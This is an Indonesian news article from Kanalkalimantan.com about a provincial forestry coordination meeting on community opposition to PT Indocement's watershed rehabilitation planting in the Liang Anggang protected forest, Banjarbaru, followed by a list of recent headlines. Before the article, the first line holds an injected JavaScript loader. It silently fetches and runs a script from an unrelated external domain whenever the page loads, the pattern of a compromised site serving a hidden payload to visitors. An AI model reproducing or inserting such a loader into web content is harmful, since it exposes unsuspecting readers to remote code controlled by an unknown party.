(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Dishut Prov Kalsel

Rehabilitasi DAS di Hutan Lindung Liang Anggang Mendapat Penolakan, Dishut Lakukan Rakor Penyelesaian


KANALKALIMANTAN.COM, BANJARBARU – Dinas Kehutanan Provinsi Kalimantan Selatan bersama Balai Pengelolaan Daerah Aliran Sungai dan Hutan Lindung Barito mengadakan rapat koordinasi untuk membahas penyelesaian masalah adanya penolakan kegiatan rehabilitasi DAS di Hutan Lindung Liang Anggang, Banjarbaru, Selasa (27/9/2022).

Adapun kendala kegiatan rehabilitas DAS ini dilaksanakan oleh PT. Indocement Tunggal Prakarsa, selaku pemegang persetujuan penggunaan kawasan hutan (PPKH). Berhadir dalam rapat. perwakilan pimpinan PT Indocement Tunggal Prakarsa, Yulizar, dalam kesempatannya menyampaikan terkait kendala penolakan dari masyarakat.

“Kita berkegiatan untuk menunaikan kewajiban penanaman PT.Indocement seluas 458 Hektar, Namun Ada beberapa kendala dalam kegiatan yang kami lakukan seperti terkait penolakan dari masyarakat yang dimana diawal kesepakatan setuju namun setelah berjalannya kegiatan tersebut ada yang menyampaikan penolakan yang disebabkan oleh provokator mengenai kegiatan penanaman kami dikawasan Hutan Lindung,” kata Yulizar.

 

Baca juga : Bupati Tanbu Lantik 99 Pejabat Administrator, Pengawas dan Fungsional

Menanggapi hal itu, Kepala Bidang Pemberdayaan Masyarakat Penyuluh dan Perhutanan Sosial (PMPPS) Dishut Kalsel, I Gede Arya Subhakti, memberikan saran untuk mengkonfirmasi kawasan maupaun luasan lahan terlebih dahulu. Sebab menurutnya perlu di petakan penggunaan lahan yang digunakan baik itu para Kelompok Tani Hutan (KTH), yang digunakan Hutan Kemasyarakatan (HKm), kemudian lahan warga/perorang yang berada dikawasan sekitar Hutan Lindung Lianganggang .

“Kami juga minta nanti kontak person yang bersangkutan (yang melakukan penolakan) untuk menyampaikan surat untuk koordinasi/mensosialisasikan mengenai tindak lanjut penyelesaian masalah ini,” bebernya.

Rakor Penyelesaian Permasalahan Penolakan Kegiatan Rehabilitasi DAS PT. Indocement Tunggal Prakarsa, Tbk wilayah KPH Kayu Tangi di Hutan Lindung Liang Anggang tersebut akan ditindak lanjuti dengan koordinasi bersama Kelompok Tani Hutan (KTH), Hutan Kemasyarakatan (HKm) dikawasan tersebut dan lahan warga/perorang dikawasan tersebut untuk melakukan konfirmasi dan pemetaan di kawasan/lahan tersebut. (Kanalkalimantan.com/al)

Reporter : al
Editor : kk


Desy Arfianty

Recent Posts

21 Mei: Sejarah Hari Peringatan Reformasi nasional

KANALKALIMANTAN.COM - Hari Reformasi Nasional diperingati setiap 21 Mei, menjadi momen pengingat seluruh masyarakat Indonesia… Read More

5 jam ago

Syarat Dukungan Ditolak, Bakal Calon Perseorangan Pilwali Banjarmasin Ajukan Sengketa ke Bawaslu

KANALKALIMANTAN.COM, BANJARMASIN - Di awal tahapan Pemilihan Wali Kota dan Wakil Wali Kota (Pilwali) Banjarmasin… Read More

15 jam ago

ETLE Segera Terpasang di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Sejumlah titik krusial pelanggaran lalu lintas dan kerawanan kecelakaan lalu lintas menjadi… Read More

16 jam ago

Dinas PUPR Kalsel Gelar Bimtek Pengelolaan Air Limbah

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Provinsi Kalsel mengadakan kegiatan Bimbingan… Read More

17 jam ago

Rekomendasi Partai Tak Pasti, Jaya-Abdi Siap Jadi Penantang Petahana Aditya-Yuti

Jaya : Penantang Bisa Lebih dalam Mengevaluasi Kinerja Petahana Read More

17 jam ago

Lima Jabatan di Polres Banjarbaru Rotasi, 12 Personel Terima Penghargaan Kapolda

KANALKALIMANTAN.COM, BANJARBARU - Lima jabatan yang diisi para perwira pertama (Pama) di lingkungan Kepolisian Resor… Read More

18 jam ago

This website uses cookies.